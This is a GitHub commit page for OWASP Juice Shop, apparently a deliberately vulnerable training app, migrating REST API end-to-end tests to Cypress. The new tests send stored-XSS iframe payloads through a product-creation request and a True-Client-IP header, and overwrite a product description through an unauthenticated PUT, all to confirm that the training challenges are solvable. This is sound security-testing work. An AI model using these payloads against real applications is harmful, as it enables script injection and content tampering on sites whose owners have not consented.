Skip to content

Commit

Permalink
Merge pull request juice-shop#1877 from ShubhamPalriwala/cypress-excess
Browse files Browse the repository at this point in the history
Migrate restApiSpec to Cypress (last migration) 🎉
  • Loading branch information
bkimminich authored Sep 8, 2022
2 parents 1bffca1 + cbb5e98 commit 2bf953f
Show file tree
Hide file tree
Showing 4 changed files with 128 additions and 191 deletions.
117 changes: 117 additions & 0 deletions cypress/integration/e2e/restApi.spec.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
describe("/api", () => {
describe('challenge "restfulXss"', () => {
beforeEach(() => {
cy.login({ email: "admin", password: "admin123" });
});

it("should be possible to create a new product when logged in", () => {
cy.task("disableOnContainerEnv").then((disableOnContainerEnv) => {
if (!disableOnContainerEnv) {
cy.window().then(async () => {
const response = await fetch(
`${Cypress.env("baseUrl")}/api/Products`,
{
method: "POST",
cache: "no-cache",
headers: {
"Content-type": "application/json",
Authorization: `Bearer ${localStorage.getItem("token")}`,
},
body: JSON.stringify({
name: "RestXSS",
description: '<iframe src="javascript:alert(`xss`)">',
price: 47.11,
}),
}
);
if (response.status === 200) {
console.log("Success");
}
});

cy.visit("/#/search?q=RestXSS");
cy.reload();
cy.get('img[alt="RestXSS"]').click();

cy.on("window:alert", (t) => {
expect(t).to.equal("xss");
});

cy.expectChallengeSolved({ challenge: "API-only XSS" });
}
});
});
});

describe('challenge "changeProduct"', () => {
it("should be possible to change product via PUT request without being logged in", () => {
cy.task("GetTamperingProductId").then((tamperingProductId) => {
cy.task("GetOverwriteUrl").then((overwriteUrl) => {
cy.window().then(async () => {
const response = await fetch(
`${Cypress.env("baseUrl")}/api/Products/${tamperingProductId}`,
{
method: "PUT",
cache: "no-cache",
headers: {
"Content-type": "application/json",
},
body: JSON.stringify({
description: `<a href="${overwriteUrl}" target="_blank">More...</a>`,
}),
}
);
assert.equal(response.status, 200);
});

cy.visit("/#/search");
});
});
cy.expectChallengeSolved({ challenge: "Product Tampering" });
});
});
});

describe("/rest/saveLoginIp", () => {
describe('challenge "httpHeaderXss"', () => {
beforeEach(() => {
cy.login({
email: "admin",
password: "admin123",
});
});

it("should be possible to save log-in IP when logged in", () => {
cy.task("disableOnContainerEnv").then((disableOnContainerEnv) => {
if (!disableOnContainerEnv) {
cy.window().then(async () => {
const response = await fetch(
`${Cypress.env("baseUrl")}/rest/saveLoginIp`,
{
method: "GET",
cache: "no-cache",
headers: {
Authorization: `Bearer ${localStorage.getItem("token")}`,
"True-Client-IP": '<iframe src="javascript:alert(`xss`)">',
},
}
);
if (response.status === 200) {
console.log("Success");
}
});
cy.expectChallengeSolved({ challenge: "HTTP-Header XSS" }); // TODO Add missing check for alert presence
}
});
});
});

it("should not be possible to save log-in IP when not logged in", () => {
cy.request({ url: "/rest/saveLoginIp", failOnStatusCode: false }).then(
(response) => {
console.log(response.body);
expect(response.body).to.equal("Unauthorized");
}
);
});
});
11 changes: 11 additions & 0 deletions cypress/plugins/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -59,11 +59,22 @@ export default (on, config) => {
GetFromConfig(variable: string) {
return Config.get(variable);
},
GetOverwriteUrl() {
return Config.get("challenges.overwriteUrlForProductTamperingChallenge");
},
GetPastebinLeakProduct() {
return Config.get<Product[]>("products").filter(
(product: Product) => product.keywordsForPastebinDataLeakChallenge
)[0];
},
GetTamperingProductId() {
const products: Product[] = Config.get("products");
for (let i = 0; i < products.length; i++) {
if (products[i].urlForProductTamperingChallenge) {
return i + 1;
}
}
},
GenerateAuthenticator(inputString: string) {
return otplib.authenticator.generate(inputString);
},
Expand Down
55 changes: 0 additions & 55 deletions test/e2e/e2eHelpers.ts

This file was deleted.

136 changes: 0 additions & 136 deletions test/e2e/restApiSpec.ts

This file was deleted.

0 comments on commit 2bf953f

Please sign in to comment.